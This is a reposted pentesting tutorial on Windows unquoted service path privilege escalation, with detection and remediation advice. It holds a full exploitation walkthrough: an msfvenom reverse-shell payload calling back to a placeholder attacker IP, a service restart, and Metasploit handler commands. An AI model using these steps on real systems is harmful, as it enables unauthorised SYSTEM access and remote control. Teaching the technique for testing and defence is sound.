Windows Privilege Escalation: The Hidden Danger of Unquoted Service Paths
文章介绍了一种经典的Windows权限提升技术——未加引号的服务路径。攻击者可利用此漏洞通过创建恶意文件,在服务启动时获取SYSTEM权限。检测方法包括使用`sc qc`和`icacls`检查服务路径及写入权限。修复建议包括为服务路径添加引号、限制服务运行权限及审计文件夹权限。 2025-7-12 13:40:3 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

AAKASH SHARMA

Hey everyone! 👋
I wanted to break down a classic but super underrated privilege escalation technique that every pentester should know: unquoted service paths on Windows.

---

🔑 Why Should You Care?

Privilege escalation is one of the key goals during a pentest. Getting initial access is cool — but you really want SYSTEM rights, right? Well, sometimes the simplest misconfigurations can give you exactly that. And unquoted service paths are a perfect example.

---

🧐 So, What’s an Unquoted Service Path?

Let’s skip the boring definitions. In Windows, services often run with high privileges. If the path to the service’s executable file includes a space but isn’t wrapped in quotes, Windows can get confused and run the wrong file — one that you, the attacker, may have planted.

Example:
Suppose the path is:

C:\Program Files\MyApp\service.exe

If it’s not wrapped in " ", Windows might look for:

C:\Program.exe

first. If you manage to drop a malicious Program.exe at C:\, Windows might run it with SYSTEM privileges when the service starts. 🎉

---

🔍 How Do You Find This?

Good news: finding unquoted service paths is dead simple.
Run:

sc qc "ServiceName"

If the BINARY_PATH_NAME shows a path with spaces without quotes — jackpot!

Next, check your write permissions:

icacls "C:\Program Files\MyApp"

If normal users can write there, you’re in business.

---

⚙️ How Do You Exploit It?

1️⃣ Check the Service’s Privileges
Make sure it’s running as SYSTEM or another high-privileged account.

2️⃣ Create Your Payload
Generate a malicious executable, e.g., a reverse shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe > Program.exe

3️⃣ Drop the Payload
Place your Program.exe in the vulnerable path — say, C:\.

4️⃣ Restart the Service

sc stop "ServiceName" && sc start "ServiceName"

Boom! Your payload runs as SYSTEM.

5️⃣ Catch the Shell
Fire up Metasploit:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
exploit

Congrats — you’re SYSTEM! 🔓

---

🛡️ How Do You Fix It?

If you’re a defender, it’s simple:
✅ Always use quotes around paths with spaces in service configurations.
✅ Use least privilege — don’t run services as SYSTEM unless you must.
✅ Audit permissions — make sure regular users can’t write to service directories.

---

💡 Wrapping Up

Unquoted service paths are old but gold. They’re still out there in the wild because sysadmins sometimes overlook tiny misconfigurations. Mastering tricks like this sets you apart — especially if you’re prepping for exams like the OSCP.


文章来源: https://infosecwriteups.com/windows-privilege-escalation-the-hidden-danger-of-unquoted-service-paths-08a6f2cc84dc?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh